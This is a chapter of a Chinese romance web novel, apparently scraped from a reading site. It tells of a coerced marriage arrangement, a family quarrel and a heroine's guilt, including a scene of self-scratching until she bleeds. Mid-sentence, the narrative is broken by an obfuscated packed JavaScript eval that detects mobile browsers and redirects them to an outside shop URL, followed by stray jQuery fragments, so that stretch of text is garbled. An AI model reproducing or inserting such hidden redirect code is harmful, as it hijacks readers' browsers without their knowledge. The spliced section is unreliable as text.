默认冷灰
24号文字
方正启体

32. 第 32 章

作者:莎丽葉本书字数:K更新时间:
    路铮和钟逸费了九牛二虎之力,终于把打架的两人拉开。


    然而一转头,两个刚还在互殴的人同时叫拉架的两人离开,路铮和钟逸是都担忧着,还是走到了远处,赶走了围观的其他人后,坐在离他们不远的地方,心惊胆战关注着那又凑到一起的两人,又打起来,还得过去拉人。


    两人互殴那架势,是真的下死手的劲儿,不能不看着。


    赛车场这地方一个不小心就会有人受伤,医疗设施自然齐全,医生已经到场,不过没能去看两个伤患,同样等在一旁。


    休息区靠窗的地方,中间隔着一张玻璃桌,宗忱和贺驰分坐两侧,还是对峙着。


    “宗忱,我和Aria说好了会结婚。”


    “这不还没结?说好的事,谁说得准。”


    贺驰默了默,继续说:“我记得你是想退婚的,就为了你那口咽不下去的气,你要这样做?”


    “是,那又怎么样?”这语气,是很冲,如果不是对面的人涵养得当,恐怕已经再次打起来。


    “你不是这样的人。”


    “你怎么知道我不是?”


    这人是不刚好说话,贺驰也没再继续说,静了下来,用复杂的眼神扫描宗忱,像是实验室的扫描仪器,试图将他里外看个清清楚楚。


    “你至少是喜欢她。”贺驰说,“这不是你的做事风格。”


    “你以为你很了解我?”


    贺驰但笑不语,站了起来,临走前,对宗忱说:“奥科需要的那项专利我可以帮你们拿到授权,条件是,你别再找Aria麻烦,你好好想想,我们找个合适的时刻详谈。”


    宗忱嗤笑,扯动了受伤的嘴角,笑容变得僵硬,这的确是奥科刚需,上次他去E国就不止是探亲那么简单,是为了拿到专利授权。


    他打算对腾越出手,不止是出于商业价值考量,最主要目的是科技园那群专家,腾越科技园有一个专家组是专攻奥科需要的这项专利技术领域,因太烧钱研究进展缓慢,注资给他们等他们突破研究需要时间,这时间谁也说不准长短,当然比不上直接拿到已有的。


    还真是他很需要的。


    栗安娴飞了一趟港岛,她有个舅妈过生日,办了宴会,她过去给她这位舅妈庆生,她心神不宁的状态已经好久,离开了京市,感觉竟然一下子就好了很多。


    不过也只好了两天,她只在港岛待两天就飞回京市,飞机落地京市她又感觉不很好了,没想到还真运气那么差劲,和宗忱碰上。


    是完全想不到的事,她承认她的确有故意躲着宗忱。


    她是不料到,宗忱带给她一个惊天消息——联姻。


    她根本弄不清楚状况,怎么突然就要联姻?


    联姻,她和宗忱联姻?开什么玩笑。


    栗安娴被宗忱逼到角落,一脸无措地问他:“为什么?你凭什么这么做!”


    宗忱撑着墙,居高临下俯视靠墙的栗安娴:“你说凭什么?”


    “我不答应!”


    “由不得你。”几个字,是带着狠意说出口,故意施压,对一个小姑娘这样做,是被卑鄙,可他从来不是什么好人。


    “你以为你能逼我吗?”栗安娴要往一旁走,被按着肩膀抵在墙上,闷哼了一声,眼神霎时带上了些冷厉,“我不会屈服的!”


    只持续几秒,他手劲大,按得她肩背痛,痛意和委屈的劲儿一起交织着漫涌上心头,嘟哝着:“你又不喜欢我,干嘛要和我联姻……”


    宗忱缄默了好一会儿,垂眸静望着眼前人,他以为她会哭的,凝望好久,她都没有哭,不过眼眶是已经染了薄红,可惜没有哭,是欺负她了,还想把她欺负哭,他一面想着怎么这么经不住欺负,一面说:“你怎么知道我不喜欢你?”


    周泽森说他喜欢她,路铮说他喜欢她,贺驰也说他喜欢她。


    他们都说他喜欢她。


    那么,他是喜欢她吧,至少,喜欢她这个人,竟然为她放弃那么多利益好处,他自己都想不到,当然,不是没有好处,联姻当然也有利益,长远的利益,可并不是他一定要的,不然他就不会做好准备,不计代价解决他和迟茵的婚事,毕竟如果不是事有转机,是他要做出巨额补偿。


    栗安娴是怔住了,一动不动的,眼睛都不眨。


    宗忱低低哼笑,收了故意释放的压迫,是特意来质问她,看她这样子,眉眼荡漾了笑意,一会儿看着凶得很,一会儿又一副可怜模样。


    他大约是真的对她早有隐秘念想,当时只道是寻常,好多次似乎就只是一闪而过的念头,此刻回想,恍然觉察,那一次次的驻足,一次次的瞭望,是他对她怀着隐秘念想的铁证。


    所以,她一主动,他就顺着她了。


    时间一分一秒过去,栗安娴看着餐厅人流换了一波又一波,终于不知道第几波人离开时,她也起身和他们前后脚离开。


    午后烈日炎炎,栗安娴在家门口外大门一下车就被白光晃了晃。


    警卫看到她,是诧异,同她问好。


    她颔首回应,一个人顶着烈日往里走,是无精打采,萎靡不振,却不是被这白灿灿的烈日给晒的,是自己精神就不很好,也有困的原因。


    小时候爱跑爱闹,就很喜欢在这外面跑,跑一整天都不累,乐呵呵的,活力十足,那时候的开心是很简单,捡树叶玩都感到开心,这种开心有一直持续,她现在还是很喜欢徒步、爬山。


    有点儿后悔刚才拒绝了警卫送她进来,非要一个人顶着大太阳走,是想着,走走散散心,根本没法散心,热浪一团一团侵袭,好热好热,她脚步快了些。


    终于,到了主宅大门口,她此刻只想赶紧去厨房让阿姨给她做一杯冷饮消消暑。


    不料到刚进家门,还没到客厅,就听到了爸爸妈妈的争执声,她停了脚步,他们争执得专注,没有注意到她回来,帮佣有看到她,不过默不作声,当做没看到,她也没出声,站在原地听着。


    “他当我两个女儿是什么!”栗正川是压不住脾气,声音大得几近暴喝。


    沈韶棠在一旁也是愁云满面,望着自己丈夫,欲言又止。


    她这样子自然是落入栗正川眼中,好一会儿也不见她吭声,他栗正川直问:“你有什么话要说!”


    沈韶棠长长吐一口气,喊了一声:“正川……”


    再等了会儿才再次开口:“那天……宗忱和茵茵吵起来,我有听到一些话,茵茵说,宗忱和安安有过一段。”


    “你说什么!”栗正川眼睛瞪得浑圆,是恣睢的怒气,“什么时候的事!”


    “说是在S国的时候,我也是弄不清楚究竟什么情况,茵茵不是和宗忱在S国定的情?怎么又和安安扯上,我原本是不信,这段时间,仔细琢磨了一下,我觉得这事估摸着不作伪,你还记不记得,安安从S国回来,状态不是很好,我以为她是因为情伤,现在想想,恐怕不是这个原因……”


    栗正川说不出话来,气得手中杯子几乎捏碎。


    “她们两个,究竟是在做什么!闹这种笑话,为了个男人,搞成这样子!宗家那边说茵茵孩子不是宗忱的,要栗家给个交待,那个孩子,你问清楚没有,究竟是谁的?”


    沈韶棠抓着丈夫的手,替他顺怒气,嗟叹着说:“茵茵说是……她和别人的,还说,她和宗忱从没有真正在一起,说……事情都是安安惹出来,叫安安自己承担。”


    栗正川是险些压不住怒火,如果不是妻子就在身旁,他是已经大发脾气,这些年来,哪里受过气,也就家里几个崽子能让他受气。


    “宗忱这样提要求,恐怕是心怀不满。”沈韶棠摇着头,也是很无奈,“按照茵茵的话,宗忱是和安安有一段短暂的感情,事后误以为是茵茵,才有后来和茵茵的事,她们两姐妹,也不知道是怎么回事,互相帮着瞒了这事。”


    栗正川猛地把杯子砸到桌上:“把她们两个给我叫回来,给我叫回来!”


    ”正川,正川,”沈韶棠急急喊着,“这事,就这么着吧,她们瞒着就瞒着了,我告诉你,是给你透个底,不是叫你指责她们,何况,知道这事的人越少越好,传扬出去像什么话。”


    “这叫什么事!什么叫瞒着就瞒着了!”


    沈韶棠是义正辞严:“正川,听我的,她们不想这事被人知道,就别去和她们说,安安任性惯了,她大约只是一时任性,对宗忱没有几分情,茵茵这事做得不对,也别怪她,事已至此,当务之急是想想怎么解决这事。”


    栗正川已经是气极反笑:“怎么解决,宗忱这架势是不达目的誓不罢休,这两丫头,净给我惹事,东窗事发,一个两个都知道跑了,气死我算了!”


    “大不了,就亏损,能怎么着。”


    “亏损,亏损是小,我看宗忱是冲着安安来的。”


    “冲着安安来?怎么回事?”


    “他话里话外的意思,他要收手,损失不小,要补偿,这补偿是联姻,没提茵茵,转而提了当初两家老头定下婚约,你知道的,这婚约定是哪两个人。”


    “你不是说他是拿这事谈判,赌我们这边不会答应,目的是腾越。”


    “原本我是这么认为,你说了这事,恐怕宗忱这么说,说的是实话,他要的就是安安。”


    他不会判断不出来一个向他提条件的人的意图,只是在没听妻子说这事之前,他不理解,所以没往这方面深想,想的是,宗忱想要借此有所图谋,算是一个理由,师出有名的理由。


    “爸爸——”


    突然传来的声音,让夫妻两人震愕。


    栗正川刚才是在气怒着,此刻却是气怒中多了些恨铁不成钢意味。


    沈韶棠是不敢置信,喊着:“安……安安?”


    栗安娴抿了抿唇,喊:“妈妈……”


    “你……不是走……出去……”


    “嗯,我出去走走。”


    栗安娴走到爸爸妈妈面前,是鼓足了勇气,倾尽了全力,正经而庄重地对他们说:“我愿意联姻。”


    她不愿意,一点儿都不愿意,嫁给一个不喜欢的人,这世界上没有几个人会愿意。


    可她的确也愿意,权衡利弊之下的抉择。


    始作俑者是她,做错事的是她,那么就让她来承担,收拾这个烂摊子,等一切过去,她会想办法脱身,等她翅膀硬了,再也不受掣肘,不受威胁。


    冲着她来是吧,好啊,那就来,要娶她是吧,好啊,那就娶,她会让他深刻认识,这会是他最后悔的决定。


    “安安,你说什么?你今天不是要——”沈韶棠话没说完,栗正川声音响起,“你回来做什么!”


    “妈妈,爸爸,”栗安娴努力维持着装出来的凛然,“我愿意联姻,这件事由我而起,也由我结束,我没有不情愿,你们也知道了……我是喜欢宗忱的……要不然我怎么会短暂的和他在一起……”


    说到这里,栗安娴是不停地眨眼间,抑制不住的难过,深吸气,微笑:“真的,我喜欢他,我不喜欢他,在S国的时候就不会故意接近他了,只是后来姐姐和他在一起,我就放弃了,现在这样,挺好的。”


    她是不怎么愿意承认,可事实就是如此,是她主动的,她的确是主动接近宗忱了,她的记忆是有被她删减重新排列,矫饰了其中一部分实情。


    那不是纯粹的一夜情,是有她的蓄谋,她是在一点一点、小心翼翼地靠近他,简单的用找刺激解释那些行为其实有失偏颇,那种难以名状的心思她至今也不明白是怎么出现的,可是是真的存在过的,只是因为一场意外而戛然而止,然后被她全盘否定,她是很擅长否定。


    事实如此,没什么好不承认的,就算是这样又怎么样呢,短暂的心动和喜欢而已,可能是她目光停留在他时


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17561111|204053||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    间太长,才滋生了旖旎。


    夜空中乍现的绚烂烟花,瞬间的迷恋,即便存在过,也早就已经冷却了,消逝了,不剩一点儿残留。


    栗安娴沉默着上了楼去,脚步是沉重又轻松,背负的荆棘卸下了,未来又即将背负新的荆棘,她也不确定,未来会怎么样,暴风雨再猛烈些又怎么样呢?没必要再自怨自艾,兵来将挡水来土掩。


    不就是结婚嘛,又不是不能离。


    沈韶棠看着女儿身影消失,几乎哽咽。


    前几天,女儿还哭着喊着质问她:“我是你的亲生女儿吗?为什么要这么对待我,我为什么要嫁给宗忱,你不应该盼望我幸福吗?宗忱,他是一个好人吗?嫁给他我一定不会幸福,你为什么要把我推进火海里。


    只有一次,就一次,谁没有犯过错,就一次也不可以吗?


    你们非要把我和劲阳分开,我伤心,我难受,我痛苦,我寻求慰藉而已,就一次,不可以被原谅吗?妈妈,不可以吗?那时候,迟茵和宗忱都没有在一起,我又不是插足到他们之间。”


    沈韶棠是一个头两个大,那些她本来只是怀疑的事,都是真的,她一直没问,是不知道怎么问。


    “安安,你没有吗?茵茵知道这件事,你无时无刻不存在他们之间。”


    栗安娴赌气说:“她自己要和宗忱在一起,凭什么要怪我?她自找的!”


    “这事先不提,安安,我问你,你是认为这只是一次错误吗?我说过你多少次,你做事不可以总是草率任性,不管不顾就做了,最后受伤害的还不是你自己。”沈韶棠顿了顿,继续说,“你真的太任性了,安安,你刚才还撒谎!你真的喝醉到不省人事?你不知道发生了什么?”


    “我知道又怎么样。”


    “安安!”


    栗安娴大吼:“我知道又怎么样!迟茵不也知道吗?你去问她啊,她是怎么和宗忱在一起的,为什么宗忱拿着我遗落的耳坠去找她,她承认了是她,她自己要的,她就喜欢抢我的东西,不想要了又要丢给我,你们,还每一次都帮她!”


    母女俩争执不休,又安静下来,静了好久,沈韶棠说:“安安,这一次,你真的要为你的任性付出代价了,这一切都是因你而起,你认不认。”


    “我——”栗安娴扭头,倔强道,“我不认!”


    “你知道茵茵和宗忱是怎么开始的,你和茵茵心照不宣,将错就错,才导致了现在的局面。”沈韶棠望着女儿倔强的侧脸,语重心长,“从小到大,护着你们两姐妹,没让你们吃过苦头,你们从来不知道代价这两个字代表的含义有多沉重,这一次,你们好好体会,这是爸爸妈妈不能直接教给你们的东西,体会了一次,希望你们用一生记住,做错事会付出代价,希望你们体会后,明白做事情不能任性,做什么事做什么决定都有慎重考虑,三思而后行。”


    栗安娴听着这话,三思而后行,她是没有做到。


    妈妈走了,留下她一个人反思。


    那个秘密,那个不为人知的秘密,她没有告诉任何人的秘密,甚至她自己都把那个秘密封存,封存在一个她都不知道的角落里。


    现在她忽然看到了这个失踪了很久的秘密,像是小时候丢掉的某一个小东西,好像她也忘记了,突然有一天在家里的阁楼杂物间,发现了那个小东西,没有惊喜,没有欢快,只有恐惧,只有排斥。


    为什么,为什么要再次出现?


    那天夜里,宗忱发觉她的存在,是要把她丢出去的,她引诱他了,她清醒的做的这件事。


    把他当成林劲阳引诱,她又明明白白地知道她引诱的不是她的林劲阳,所以她没有喊错名字。


    她一直用喝醉了认错了这个看似很合理的借口掩饰这个事实,她把自己都欺骗了,她自己都相信了。


    是她喝醉了,她无意中犯了错,不是她故意的。


    她把一段记忆删除了,却忘记了这段记忆还存在在回收站里。


    再忍不住,她掩面哭泣,抱自己抱成一团,指甲用力地抓着小腿,抓破了皮,抓出了血痕,她一点儿不感到痛,还在用力地抓。


    那个封存在角落的秘密,那段她以为她删除丢弃的回忆,无法忽视的存在。


    像是病毒一样,中了流行性感冒病毒,就一定会生病,发烧,咳嗽,不舒服,无法忽视,它切切实实的存在,她切切实实地主动犯错。


    她是不是也庆幸过,她自己不承认的时候庆幸过,迟茵替她认了。


    宗忱要找一个人不可能找不到,迟茵不认的话,宗忱动了找人的决心就肯定会找到她。


    会发生什么事她不敢想,会面对什么她不敢想,她后怕,每每想起如果宗忱来找她后背都会冷汗涔涔,她是真的害怕宗忱找到她。


    她后悔得想跳进大海里,她不合时宜地对一个不应该的人滋生了别样的心思,船到了桥头,落了水才惊觉,不对的,不应该的。


    这么危险的人,她真的不应该招惹的。


    她对迟茵又是什么,既有看穿了迟茵的愤怒和失望,还有不敢面对,有愧疚,所以,她选择离开,离得远远的,去到异国他乡,好像一切不曾发生。


    时间越久,越不再心虚。


    一切都过去了,是过往尘烟,她是这样想着,就这样吧,把一切都忘掉,再也不要想起来。


    一切都已经过去了。


    一切都没有过去。


    她悲鸣呜咽,要怎么办,要怎么办啊,她不知道。


    怎么办?怎么办呢,那就顺势而为,再次坐在那天和妈妈争执时的沙发上,栗安娴嘲讽地想着,不就是报复她嘛!


    白天很热,夜晚天空也干净,即便有城市霓虹反光,栗安娴还是一眼看到了那颗明亮的心宿二。


    喜欢她!什么喜欢她?他就是报复!绝对是!睚眦必报,擅长打击报复的毒蝎子。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)